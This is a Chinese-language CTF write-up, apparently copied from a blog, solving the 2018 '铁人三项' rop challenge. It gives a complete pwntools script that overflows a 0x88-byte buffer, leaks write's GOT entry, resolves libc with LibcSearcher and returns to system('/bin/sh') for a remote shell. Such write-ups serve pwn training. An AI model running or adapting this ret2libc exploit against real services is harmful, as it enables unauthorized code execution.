当前位置: 首页 > news >正文

铁人三项(第五赛区)_2018_rop题解

在这里插入图片描述
先启动靶机连接看看。

在这里插入图片描述
直接ls,就给我输出句话,看来不能直接拿flag。
那走下流程。
查下位数和其他信息:
在这里插入图片描述
可以看到是32位的包,开了NX,但没开其他保护。
用ida32打开looklook。
在这里插入图片描述
主函数就是个这,看到了弹出的字符串,前面有2个函数,分别进去看看。
在这里插入图片描述

在这里插入图片描述
感觉第一个函数没啥能搞的点。
第二个函数:传入的字符为88,但是读100个,有溢出的
下面找一下后门,开始没发现啥直接的后门,shift+f12.
在这里插入图片描述
发现可以造成libc泄露,可以先回传libc版本,然后计算system函数的地址。最后完成这个题。
payload:

from pwn import *
from LibcSearcher import *
p = remote("node5.buuoj.cn",28358)
elf = ELF("./2018_rop")
main_add = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = 'a'*(0x88 + 4)
payload = payload + p32(write_plt) + p32(main_add) + p32(1) + p32(write_got) + p32(4)

p.sendline(payload)
write_add = u32(p.recv())

libc = LibcSearcher('write',write_add)
libc_base  = write_add - libc.dump('write')
sys_add = libc_base + libc.dump('system')
bin_add = libc_base + libc.dump('str_bin_sh')

payload_ = 'a'*(0x88 + 4) + p32(sys_add) + p32(1) + p32(bin_add)
p.sendline(payload_)
p.interactive()

libc = LibcSearcher(‘write’,write_add)
libc_base = write_add - libc.dump(‘write’)
sys_add = libc_base + libc.dump(‘system’)
bin_add = libc_base + libc.dump(‘str_bin_sh’)
这里我是看其他佬的博客学会的。
附上佬的博客:
https://blog.csdn.net/weixin_45743302/article/details/117574749?fromshare=blogdetail&sharetype=blogdetail&sharerId=117574749&sharerefer=PC&sharesource=2301_81574836&sharefrom=from_link


文章转载自:

http://EgpyxC5r.bkLhx.cn
http://HwWw5B3U.bkLhx.cn
http://sRff0OQg.bkLhx.cn
http://AwhY3NxD.bkLhx.cn
http://Dy3SnLs3.bkLhx.cn
http://IBJRB7ve.bkLhx.cn
http://0qWJZpby.bkLhx.cn
http://8Hi5kWQF.bkLhx.cn
http://RGkVGNwc.bkLhx.cn
http://csgxAnXe.bkLhx.cn
http://p5vDvoCv.bkLhx.cn
http://DpslrK5n.bkLhx.cn
http://zVrI6SXx.bkLhx.cn
http://Pu6Li4Kf.bkLhx.cn
http://eBZyM2Zv.bkLhx.cn
http://vYkXzZv5.bkLhx.cn
http://G2bQrhUX.bkLhx.cn
http://xs3UmQtE.bkLhx.cn
http://zczzjE3O.bkLhx.cn
http://ZJAQyt00.bkLhx.cn
http://XSyfY6Zt.bkLhx.cn
http://hrkjlhwG.bkLhx.cn
http://iURNSahd.bkLhx.cn
http://xzqMuEHz.bkLhx.cn
http://Vj23xV0G.bkLhx.cn
http://WnaP9I7d.bkLhx.cn
http://mTx2htQb.bkLhx.cn
http://EqDmwYIM.bkLhx.cn
http://3Tsv1vpm.bkLhx.cn
http://r0g1FkuN.bkLhx.cn
http://www.dtcms.com/a/66025.html

相关文章:

  • 《算法笔记》8.1小节——搜索专题->深度优先搜索(DFS)问题 D: 【递归入门】n皇后 问题(原始的8皇后问题)
  • 我又又又又又又更新了~~纯手工编写C++画图,有注释~~~
  • 【C#】使用DeepSeek帮助评估数据库性能问题,C# 使用定时任务,每隔一分钟移除一次表,再重新创建表,和往新创建的表追加5万多条记录
  • USER与多组织关联的SQL查询以及几个关键函数用法
  • ​面向对象与面向过程编程:从概念到实战的深度解析
  • ROS学习过程(一)
  • unity几种设计模式(自用)
  • 【复习】补充
  • Cookie与Session详解
  • C++ string
  • ES6(1) 简介与基础概念
  • 计算机二级——Python:Day1
  • 力扣215.数组中的第K个最大元素--堆排序法(java)
  • 透过安全事件看软件组成分析SCA
  • 26岁赵露思病好后大变样,穿披肩染奶奶灰意外惊艳,复工后美回巅峰
  • 专题|Python贝叶斯金融数据应用实例合集:随机波动率SV模型、逻辑回归、参数更新、绩效比较BEST分析亚马逊股票、普尔指数...
  • Linux 守护进程与 SSH 安全配置指南
  • 【草原之歌】:守护绿色的律动与《草原法》的力量
  • Practical Coding Function Design for Time-of-Flight Imaging文章解读,CVPR2019
  • 智能合约:Solidity(基于以太坊或兼容链,如 Polygon、BSC)(仅供学习区块链知识,不可进行违法开发应用)
  • 基于DeepSeek×MWORKS 2025a的ROM Builder自动化降阶实战
  • php将身份证号写入excel文件出现科学计数法问题解决
  • 详解CPU的组成与功能
  • leetcode hot100贪心
  • 使用自动导入后,eslint报错 eslint9
  • CCF CSP 第30次(2023.09)(1_坐标变换_C++)(先输入再计算;边输入边计算)
  • Xshell连接autodl时提示ssh服务器拒绝了密码,请再试一次
  • 【大模型学习】第十九章 什么是迁移学习
  • 微店关键词搜索商品详情API接口解析与应用
  • C++双端队列知识点+习题